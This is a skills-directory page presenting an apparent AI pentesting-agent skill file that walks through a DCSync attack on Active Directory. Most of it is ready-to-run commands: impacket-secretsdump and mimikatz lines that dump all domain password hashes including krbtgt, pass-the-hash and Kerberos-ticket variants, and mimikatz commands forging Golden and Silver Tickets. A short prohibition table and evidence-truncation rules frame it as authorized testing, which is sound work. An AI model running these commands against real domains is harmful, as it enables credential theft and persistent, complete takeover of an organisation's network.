Back to skills
SKILL.md
Khaos Dcsync
ASecurityDCSync attack — replicate domain secrets via Directory Replication Service to dump all domain hashes
- 6 stars
- 0 votes
- 0 copies
- 0 views
- Added December 5, 2026
Security analysis
100/100npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-dcsync --agent claude-codeAre you the author of Khaos Dcsync?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/henriqqw-khaos-dcsync-khaos-pentester-agent)---
name: khaos-dcsync
description: DCSync attack — replicate domain secrets via Directory Replication Service to dump all domain hashes
metadata:
khaos:
stages: [exploitation, validation]
tool_ids: [metasploit]
---
# DCSync Attack
Abuse the Directory Replication Service (DRS) RPC interface to pull NTLM hashes for any domain user, including krbtgt. Requires: Domain Admin, Account Operators, or explicit "Replicating Directory Changes" permissions.
## Prerequisites
```
Required privilege: One of:
- Domain Admins group
- Account Operators group
- GetChanges + GetChangesAll ACL on domain NC (can be granted explicitly)
Required network access:
- Port 445/TCP to DC or port 135+dynamic RPC
```
**Verify prerequisites:**
```powershell
# Check current user's group membership
whoami /groups | findstr "Domain\|Replicat"
# Check if DCSync rights granted explicitly
Get-ObjectAcl -DistinguishedName "dc=DOMAIN,dc=local" -ResolveGUIDs |
Where-Object {$_.ActiveDirectoryRights -match "ExtendedRight" -and $_.ObjectType -match "DS-Replication"}
```
---
## Phase 1: Remote DCSync via impacket
No Windows agent needed — runs from Linux.
```bash
# Single user (verify access first with krbtgt hash)
impacket-secretsdump DOMAIN/admin:'Password'@DC_IP -just-dc-user krbtgt
# All domain hashes
impacket-secretsdump DOMAIN/admin:'Password'@DC_IP -just-dc -outputfile dcsync_dump
# Using NTLM hash (PTH)
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:ADMIN_NTLM DOMAIN/admin@DC_IP -just-dc
# Using Kerberos ticket
export KRB5CCNAME=admin.ccache
impacket-secretsdump -k DOMAIN/admin@DC_FQDN -just-dc -no-pass
```
---
## Phase 2: Local DCSync via mimikatz / Rubeus
Requires Meterpreter or interactive session on a privileged machine.
```
# mimikatz
mimikatz "lsadump::dcsync /domain:DOMAIN.local /all /csv" exit
# Single user
mimikatz "lsadump::dcsync /domain:DOMAIN.local /user:krbtgt" exit
# via Metasploit
meterpreter > load kiwi
meterpreter > dcsync_ntlm krbtgt
meterpreter > dcsync_ntlm Administrator
```
---
## Phase 3: Golden Ticket (post-DCSync)
With krbtgt hash, forge an unlimited Kerberos TGT.
```bash
# Get domain SID first
impacket-lookupsid DOMAIN/admin:'Password'@DC_IP | grep "Domain SID"
# Create golden ticket (mimikatz)
mimikatz "kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-... /krbtgt:KRBTGT_NTLM /ptt" exit
# Verify
klist
dir \\DC_HOSTNAME\C$
```
---
## Phase 4: Silver Ticket (service-specific)
With a service account hash, forge a service-specific TGS — no DC contact needed.
```bash
# Silver ticket for CIFS (file access)
mimikatz "kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:DOMAIN_SID \
/target:SERVER.DOMAIN.local /service:cifs /rc4:SERVICE_HASH /ptt" exit
```
---
## Impact Assessment
DCSync with krbtgt hash → **Domain Domination**:
- Forge any Kerberos ticket (Golden Ticket)
- Persistent access even after password changes (until krbtgt hash rotated twice)
- Full AD compromise — CRITICAL finding
```
khaos_create_attack_chain chain_severity=CRITICAL
title: "DCSync → Domain Domination"
narrative: "DCSync attack replicated all domain password hashes including krbtgt.
Golden ticket forged granting unlimited domain access."
khaos_create_finding:
title: "DCSync — Full Domain Hash Replication"
severity: CRITICAL
cwe_ids: ["CWE-522", "CWE-287"]
evidence: "krbtgt hash extracted: [first 8 chars]*** via secretsdump"
```
## ⛔ Prohibition table
| Prohibited | Alternative |
|---|---|
| Storing full NTLM hashes | Record first 8 chars only as evidence |
| Creating persistent backdoor accounts | Demonstrate access, then revert |
| Golden ticket use on live production AD | Confirm lab/test domain in scope |
| Exfiltrating full secretsdump output | Store locally, truncate evidence in Khaos |
## ✓ Completion self-check
- [ ] Required permissions confirmed before attempting
- [ ] krbtgt hash extraction verified (proves full domain compromise)
- [ ] Golden ticket creation tested (kerberos ticket forged)
- [ ] Attack chain created: lateral movement → DCSync → domain domination
- [ ] Finding: CRITICAL severity with limited hash evidence
- [ ] Evidence of full domain compromise created for report
Attribution
Related skills
View all in ai-agents →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.